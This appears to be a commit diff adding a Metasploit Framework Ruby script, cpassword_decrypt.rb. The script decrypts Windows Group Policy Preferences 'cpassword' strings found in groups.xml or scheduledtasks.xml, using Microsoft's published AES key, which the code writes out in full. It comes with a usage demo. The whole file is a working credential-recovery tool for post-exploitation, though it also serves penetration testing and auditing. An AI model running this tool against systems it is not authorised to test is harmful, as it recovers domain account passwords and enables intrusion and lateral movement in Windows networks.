1
+ #!/usr/bin/env ruby
2
+
3
+ ##
4
+ # This module requires Metasploit: http//metasploit.com/download
5
+ # Current source: https://github.com/rapid7/metasploit-framework
6
+ ##
7
+
8
+ #
9
+ # This script will allow you to specify an encrypted cpassword string using the Microsofts public
10
+ # AES key. This is useful if you don't or can't use the GPP post exploitation module. Just paste
11
+ # the cpassword encrypted string found in groups.xml or scheduledtasks.xml and it will output the
12
+ # decrypted string for you.
13
+ #
14
+ # Tested Windows Server 2008 R2 Domain Controller.
15
+ #
16
+ # Authors:
17
+ # Ben Campbell <eat_meatballs[at]hotmail.co.uk>
18
+ # Loic Jaquemet <loic.jaquemet+msf[at]gmail.com>
19
+ # scriptmonkey <scriptmonkey[at]owobble.co.uk>
20
+ # theLightCosine
21
+ # mubix (domain/dc enumeration code)
22
+ # David Kennedy "ReL1K" <kennedyd013[at]gmail.com>
23
+ #
24
+ # References:
25
+ # http://esec-pentest.sogeti.com/exploiting-windows-2008-group-policy-preferences
26
+ # http://msdn.microsoft.com/en-us/library/cc232604(v=prot.13)
27
+ # http://rewtdance.blogspot.com/2012/06/exploiting-windows-2008-group-policy.html
28
+ # http://blogs.technet.com/grouppolicy/archive/2009/04/22/passwords-in-group-policy-preferences-updated.aspx
29
+ #
30
+ # Demo:
31
+ # $ ./cpassword_decrypt.rb AzVJmXh/J9KrU5n0czX1uBPLSUjzFE8j7dOltPD8tLk
32
+ # [+] The decrypted AES password is: testpassword
33
+ #
34
+
35
+ msfbase = __FILE__
36
+ while File . symlink? ( msfbase )
37
+ msfbase = File . expand_path ( File . readlink ( msfbase ) , File . dirname ( msfbase ) )
38
+ end
39
+
40
+ $:. unshift ( File . expand_path ( File . join ( File . dirname ( msfbase ) , '..' , 'lib' ) ) )
41
+ require 'fastlib'
42
+ require 'msfenv'
43
+ require 'rex'
44
+
45
+
46
+ class CPassword
47
+
48
+ #
49
+ # Decrypts the AES-encrypted cpassword string
50
+ # @param encrypted_data [String] The encrypted cpassword
51
+ # @return [String] The decrypted string in ASCII
52
+ #
53
+ def decrypt ( encrypted_data )
54
+ # Prepare the password for the decoder
55
+ padding = "=" * ( 4 - ( encrypted_data . length % 4 ) )
56
+ epassword = "#{ encrypted_data } #{ padding } "
57
+
58
+ # Decode the string using Base64
59
+ decoded = Rex ::Text . decode_base64 ( epassword )
60
+
61
+ # Decryption
62
+ key = ''
63
+ key << "\x4e \x99 \x06 \xe8 \xfc \xb6 \x6c \xc9 \xfa \xf4 \x93 \x10 \x62 \x0f \xfe \xe8 \xf4 \x96 \xe8 \x06 \xcc "
64
+ key << "\x05 \x79 \x90 \x20 \x9b \x09 \xa4 \x33 \xb6 \x6c \x1b "
65
+ begin
66
+ aes = OpenSSL ::Cipher ::Cipher . new ( "AES-256-CBC" )
67
+ aes . decrypt
68
+ aes . key = key
69
+ plaintext = aes . update ( decoded )
70
+ plaintext << aes . final
71
+ rescue OpenSSL ::Cipher ::CipherError
72
+ # Decryption failed possibily due to bad input
73
+ return ''
74
+ end
75
+
76
+ # Converts the string to ASCII
77
+ Rex ::Text . to_ascii ( plaintext )
78
+ end
79
+ end
80
+
81
+
82
+ #
83
+ # Shows script usage
84
+ #
85
+ def usage
86
+ print_status ( "Usage: #{ __FILE__ } [The encrypted cpassword string]" )
87
+ exit
88
+ end
89
+
90
+
91
+ #
92
+ # Prints a status message
93
+ #
94
+ def print_status ( msg = '' )
95
+ $stderr. puts "[*] #{ msg } "
96
+ end
97
+
98
+
99
+ #
100
+ # Prints an error message
101
+ #
102
+ def print_error ( msg = '' )
103
+ $stderr. puts "[-] #{ msg } "
104
+ end
105
+
106
+
107
+ #
108
+ # Prints a good message
109
+ #
110
+ def print_good ( msg = '' )
111
+ $stderr. puts "[+] #{ msg } "
112
+ end
113
+
114
+
115
+ #
116
+ # main
117
+ #
118
+ if __FILE__ == $PROGRAM_NAME
119
+ pass = ARGV . shift
120
+
121
+ # Input check
122
+ usage if pass . nil? or pass . empty?
123
+
124
+ cpasswd = CPassword . new
125
+ pass = cpasswd . decrypt ( pass )
126
+
127
+ if pass . empty?
128
+ print_error ( "Nothing was decrypted, please check your input." )
129
+ else
130
+ print_good ( "The decrypted AES password is: #{ pass } " )
131
+ end
132
+ end
0 commit comments